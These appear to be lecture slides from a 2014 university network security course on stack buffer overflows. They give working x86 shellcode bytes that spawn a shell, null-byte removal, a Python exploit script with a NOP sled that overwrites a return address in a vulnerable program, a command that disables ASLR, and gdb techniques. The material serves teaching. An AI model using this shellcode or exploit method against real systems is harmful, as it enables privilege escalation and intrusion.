Foundations of Network and Computer Security John Black CSCI 6268/TLEN 5550, Spring 2014 Buffer Overflows • Biggest Vulnerability of 1997-2007 (or so) – A lot of mitigation nowadays – But still relevant since • Older systems abound • There are ways around the mitigation sometimes • Other vulns are now more popular – Esp web-based attacks which are often easier to find, understand, and exploit Buffer Overflows (cont) • This topic is highly technical – We assume you’ve had a course in assembler – Or you have x86 assembly experience somehow • Google “x86 assembler tutorial” if you need a refresher – You should have also used gdb before • There is a quick reference and a manual on our course page Example main(int argc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); . . . • Why does C have so many poorly-designed library functions? – strcpy(), strcat(), sprintf(), gets(), etc… Memory Organization Text (ie, Program Code) Data (Initialized static/globals) BSS (Uninitialized static/globals) Heap stack env Stack Frame (Activation Record) example1.c: void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; } void main() { function(1,2,3); } align stack to 22 = 4 byte boundary (this is how binaries are compiled on our class machine) $ gcc -g -mpreferred-stack-boundary=2 -fno-stack-protector -o example1 example1.c disable canaries Disassembly, example1 (att) main: 0x080483a3 0x080483a6 0x080483ae 0x080483b6 0x080483bd lower addrs higher addrs <main+3>: <main+6>: <main+14>: <main+22>: <main+29>: sub movl movl movl call $0x10,%esp $0x3,0x8(%esp) $0x2,0x4(%esp) $0x1,(%esp) 0x8048394 <function> %esp $0x1 0x4(%esp) $0x2 0x8(%esp) $0x3 0xc(%esp) N/A original %esp (before sub) Equivalent to push $dummy push 0x3 push 0x2 push 0x1 Digression: att vs intel • In gdb, • (gdb) set disassembly-flavor intel • gdb used to support only att, gcc uses it exclusively (though –masm=intel works on some platforms these days) • Most hackers use att, but can speak intel when necessary function() 0x08048394 <function+0>: 0x08048395 <function+1>: 0x08048397 <function+3>: push mov sub 0x0804839e <function+10>: 0x0804839f <function+11>: leave ret ”leave” is equivalent to mov %ebp, %esp pop %ebp %ebp %esp,%ebp $0x18,%esp // save %ebp // set new %ebp from %esp // make 24 bytes of room // on stack for locals // clean up %ebp, %esp the above would be a little different with canaries (ie, without the –fno-stack-protector compiler option) Stack at time of function() call 0xbffff7f8 buffer2 (and %esp) 0xbffff7fc 0xbffff800 0xbffff804 0xbffff808 buffer1 0xbffff80c sfp saved %ebp 0xbffff810 ret ret addr 0xbffff814 a 0x1 0xbffff818 b 0x2 0xbffff81c c 0x3 0xbffff820 Note: buffers 1 and 2 start out uninitialized The ordering on the stack is NOT guaranteed to follow order of declarations example3.c void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; int *ret; } ret = buffer1 + 16; addr (*ret) += 7; seg void main() { int x; } x = 0; function(1,2,3); x = 1; printf("%d\n",x); // set “ret” to point at the ret // return 7 bytes later in text we’re directly overwriting the return address to illustrate program-flow an attacker can’t do this of course Overflowing buffer1 0xbffff7f8 buffer2 (and %esp) 0xbffff7fc 0xbffff800 0xbffff804 0xbffff808 buffer1 0xbffff80c sfp saved %ebp 0xbffff810 ret ret addr 0xbffff814 a 0x1 0xbffff818 b 0x2 0xbffff81c c 0x3 0xbffff820 If data are copied into buffer1 and the data are more than 8 bytes, an overflow occurs into the fields below the buffer’s area on the stack When function returns, it will go to the overwritten address specified by the attacker Controlling the ret addr • If we overflow a buffer, we can control the return address – This is extremely powerful – Can jump to other parts of the code • Code that enables privs • Code that prints sensitive info • Code that just crashes (crash DNS, eg) – Can jump to our own code! • Assuming we can inject code… usually possible • This is usually called “shellcode” Shellcode • Depending on the context, “shellcode” can do various things – Spawn a shell (that’s where the name comes from) • This assumes you have a tty attached to the victim • This assumes your injection doesn’t terminate with ^D – – – – Open a bind shell Open a reverse shell Add a user to the system Run a specific program Let’s just spawn a shell • fork or exec? – Might as well exec since we don’t usually care about the parent • exit after exec? – Commonly seen, metasploit has the option, but seems unnecessary to me • what format should code be in? – Machine code, no question shellcode.c: calling exec() • Write in C, compile, extract assembly into machine code: execve looks here for executable #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } argc is derived from length of this array; argv IS this array (but it must be copied… why?). NULL would work here just fine we leave envp NULL for now gcc -o shellcode -g -static shellcode.c why didn’t I include the compiler options used before? Shellcode Synopsis • Have the null terminated string "/bin/sh" somewhere in memory. • Have the address of the string "/bin/sh" somewhere in memory followed by a NULL long word. • Copy 0xb into the EAX register. • Copy the address of the string "/bin/sh” into the EBX register. • Copy the address of the address of the string "/bin/sh" into the ECX register. • Copy the address of the null long word into the EDX register. • Execute the int $0x80 instruction. Writing Shellcode movl string_addr, string_addr_addr movb $0x0, null_byte_addr movl $0x0, null_string movl $0xb,%eax movl string_addr, %ebx leal string_addr, %ecx leal null_string, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here One Problem: Where is the /bin/sh string in memory? We don’t know the address of buffer So we don’t know the address of the string “/bin/sh” We want our shellcode to be relocatable A trick to find it: JMP to the end of the code and CALL back to the start These can use relative addressing modes The CALL will put the return address on the stack and this will be the absolute address of the string We will pop this string into a register! To illustrate, assume our shellcode is injected on the stack Shellcode on the stack buffer JJSSSSSSSSSSSSSSS SSSSSSSSSSSSSSSSS SSSSSSSSSSSSSSSSS CCsssssssssssssss ssssss ret Jump to Shell Code a 1 4 bytes b 2 4 bytes c 3 4 bytes Our shellcode start: jmp mcall ajmp: pop %ebx mov $0x0, %eax mov %al,0x7(%ebx) mov %ebx,0x8(%ebx) mov %eax,0xc(%ebx) mov $0xb,%eax lea 0x8(%ebx),%ecx lea 0xc(%ebx),%edx int $0x80 mcall: call ajmp str_addr: “/bin/shxAAAABBBB” // ebx holds str_addr // // // // // // null terminator put str_addr at AAAA put 0000 at BBBB kernel code for execve ptr to array of ptrs (argv) ptr to 0000 (envp) AAAABBBB only for illustrative purposes; not needed in shellcode but the memory has to be available to be overwritten inline.c main() { __asm__( " "ajmp: " " " " " " " " "mcall: " ); } jmp mcall pop %ebx mov $0x0, %eax mov %al,0x7(%ebx) mov %ebx,0x8(%ebx) mov %eax,0xc(%ebx) mov $0xb,%eax lea 0x8(%ebx),%ecx lea 0xc(%ebx),%edx int $0x80 call ajmp .string \"/bin/sh\"" assembler will automatically \n\t" use relative jmp/call \n\t" \n\t" \n\t" \n\t" \n\t" \n\t" \n\t" \n\t" \n\t" \n\t" dataseg.c: put shellcode into .data (gdb) x/80xb the inline code to get the bytes for sc[] here, or $ objdump –D | grep –A40 main.: | less disassemble all sections, even data char sc[] = "\xeb\x1c\x5b\xb8\x00\x00\x00\x00\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb8\x0b\x00\x00\x00\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xdf" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg sh4.2 $ we have to include the xAAAABBBB this time; the memory wouldn’t be allocated otherwise, and this causes the code to fail Next Problem… strcpy • strcpy, strcat, etc… all stop operating at the first NULL byte • Our shellcode contains zeroes – we need to get rid of them – metasploit can do this for you (use a “filter”), along with any other bytes you don’t want • up to a limit, I assume • some shellcode has to be ASCII, or worse, [0-9][AZ][a-z] • Just eliminating zeros isn’t too hard Getting rid of zeroes 08048394 <main>: 8048394: 55 8048395: 89 8048397: 83 804839a: eb 804839c: 5b 804839d: b8 80483a2: 88 80483a5: 89 80483a8: 89 80483ab: b8 80483b0: 8d 80483b3: 8d 80483b6: cd 80483b8: e8 80483bd: 2f 80483be: 62 80483c1: 2f 80483c2: 73 e5 ec 04 1c 00 43 5b 43 0b 4b 53 80 df 00 00 00 07 08 0c 00 00 00 08 0c ff ff ff 69 6e 68 push mov sub jmp pop mov mov mov mov mov lea lea int call das bound das jae %ebp %esp,%ebp $0x4,%esp 80483b8 <mcall> %ebx $0x0,%eax %al,0x7(%ebx) %ebx,0x8(%ebx) %eax,0xc(%ebx) $0xb,%eax 0x8(%ebx),%ecx 0xc(%ebx),%edx $0x80 804839c <ajmp> %ebp,0x6e(%ecx) 804842c Changing two offending instructions b8 00 00 00 00 31 c0 mov xor $0x0,%eax %eax,%eax b8 0b 00 00 00 b0 0b mov mov $0xb,%eax $0xb,%al We eliminate the zeros while making the shellcode shorter at the same time! dataseg2.c: amend two instructions we change the 2 instructions and adjust our jmp and call offsets char sc[] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg2 sh4.2 $ still works! Our shellcode is 46 bytes We’re Done! Well… • We have zero-less shellcode • It’s relocatable • We just need to inject it into a privileged victim and we can escalate with the spawned shell – Victim must be attached to your tty (both stdin and stdout) – You must be able to inject without an EOF • Pipes often won’t work – Often you would run a different command than /bin/sh • Consider modifying our shellcode to run l33t instead Injection Options • The most obvious and natural place is to inject into the buffer we’re overflowing – That’s the example we’ve been working with – This assume that the buffer will not be modified before the function returns – We could inject after the ret addr too, but you will overwrite function parameters • Could mean you crash or have your shellcode modified before function returns • Let’s look at the methodology • It’s much easier to accomplish when you have source code alongside the binary victim on the local machine • Remote/blind exploits are much harder victim.c main(int argc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); } • Obvious buffer overflow due to use of strcpy() instead of strncpy() • We’ll inject onto the stack, but where is the stack? – We need address to jump to, so we can overwrite the return address with it Typical Stack Ptr Values • For a 32-bit machine • Without ASLR – echo 1 > /proc/sys/kernel/randomize_va_space – grep stack /proc/self/maps – ASLR is off on class machine – Increasingly on by default these days • Means you have to do a LOT more guessing • On 64-bit machines it becomes very hard • Stack ends near 0xc0000000 on our machine • gdb may slightly perturb this value – In particular, the length of the program’s name has an effect Poking around… $ gdb -q victim (gdb) b main Breakpoint 1 at 0x80483cd: file victim.c, line 9. (gdb) r AAAAAAA Starting program: /home/jrblack/shellcode/victim AAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff8a4) at victim.c:9 9 if (argc == 2) (gdb) n 10 strcpy(filename, argv[1]); (gdb) n 11 } (gdb) x/4x filename 0xbffff718: 0x41414141 0x00414141 0x080481d0 0x00000001 Find addresses (gdb) p &filename[0] $1 = 0xbffff718 "AAAAAAA” (gdb) p &filename[256] $2 = 0xbffff818 "x▒▒▒u▒▒\002" (gdb) x/4 0xbffff818 0xbffff818: 0xbffff878 ret addr is at 0xbffff81c 0xb7e8d775 0x00000002 0xbffff8a4 So we need to fill the buffer with shellcode, then whatever, then with the address 0xbffff718 starting 260 bytes into the buffer I use Python • bash, perl, C all work fine $ cat sc.py #!/usr/bin/python sc = \ "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\ "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\ "\xff\xff\xff/bin/sh/xAAAABBBB" print sc + "A"*(256-len(sc))+"AAAA"+"\x18\xf7\xff\xbf"; $ ./victim $(./sc.py) Illegal Instruction $ Let’s use gdb: gdb victim, b main, r $(./sc.py) Note: addresses found in gdb are only approximate • Ok trying 0xbffff618 • $ ./victim $(./sc.py) • Segmentation fault • $ • Ok, this isn’t working… larger arg size is shifting buffer • Introducing, “xchg %eax, %eax” – Does nothing, doesn’t even touch flag reg – Op code is 0x90 – Aka “NOP” • Let’s add a “NOP sled” to the front of our shellcode print "\x90"*(256-len(sc))+sc+"AAAA"+"\x18\xf7\xff\xbf"; changed back to 0xbffff718 since that’s about the midpoint of the sled Going Sledding… start buffer: \x90\x90\x90… \x90\x90\x90… \x90\x90\x90… \x90\x90\x90… Size of sled will depend on buffer space available \x90\x90\x90… \x90\x90\x90… \x90\x90\x90… ...... shellcode \xeb\x16\x31 \xc0\xb0\x0b ....... end of buffer: /bin/shxAAAABBBB saved bp AAAA ret address addr If addr points ANYwhere among these NOP bytes, we win Moral of the Story • Get really good at the debugger • Be persistent/obsessive • Pick up some Unix Programming skills along the way – You can get by glossing over them, but don’t Get your gdbfu on • These are the commands I use most often in gdb – – – – b func, b line#, b *<addr> i r [reg_name] where, bt x/##<f><s> addr • ## is decimal • <f> is o, x, d, u, t, f, a, i, c, s • <s> is b, h, w, g – p/same expr • gdb is a hex/octal/decimal calculator (almost binary too) – l func/lineno – disas func/lineno/addr • Note gdb won’t let you disas some memory; use x/##i addr More gdbfu • And… – – – – – – – – – help <cmd> r <args> cont n, ni, s, si <enter> <tab> set follow-fork-mode child cond <br#> expr set {int}addr=val • lmgtfy Hey, wait… can’t I just gdb the victim? • You can gdb the victim binaries, but… – They’re stripped at times • nm, strip – They drop euid/egid • because of ptrace (see next slide) • Often not a bad idea in order to get more accurate addresses – Still gdb perturbs things, so use a sled or put your exploit in a fork loop – I often still rebuild the source and operate locally so I can have –g • victims don’t have –g turned on man ptrace PT_ATTACH This request allows a process to gain control of an otherwise unrelated process and begin tracing it. It does not need any cooperation from the to-be-traced process. In this case, pid specifies the process ID of the to-be-traced process, and the other two arguments are ignored. This request requires that the target process must have the same real UID as the tracing process, and that it must not be executing a setuid or setgid executable. (If the tracing process is running as root, these restrictions do not apply.) The tracing process will see the newly-traced process stop and may then control it as if it had been traced all along. Three other restrictions apply to all tracing processes, even those running as root. First, no process may trace a system process. Second, no process may trace the process running init(8). Third, if a process has its root directory set with chroot(2), it may not trace another process unless that process's root directory is at or below the tracing process's root.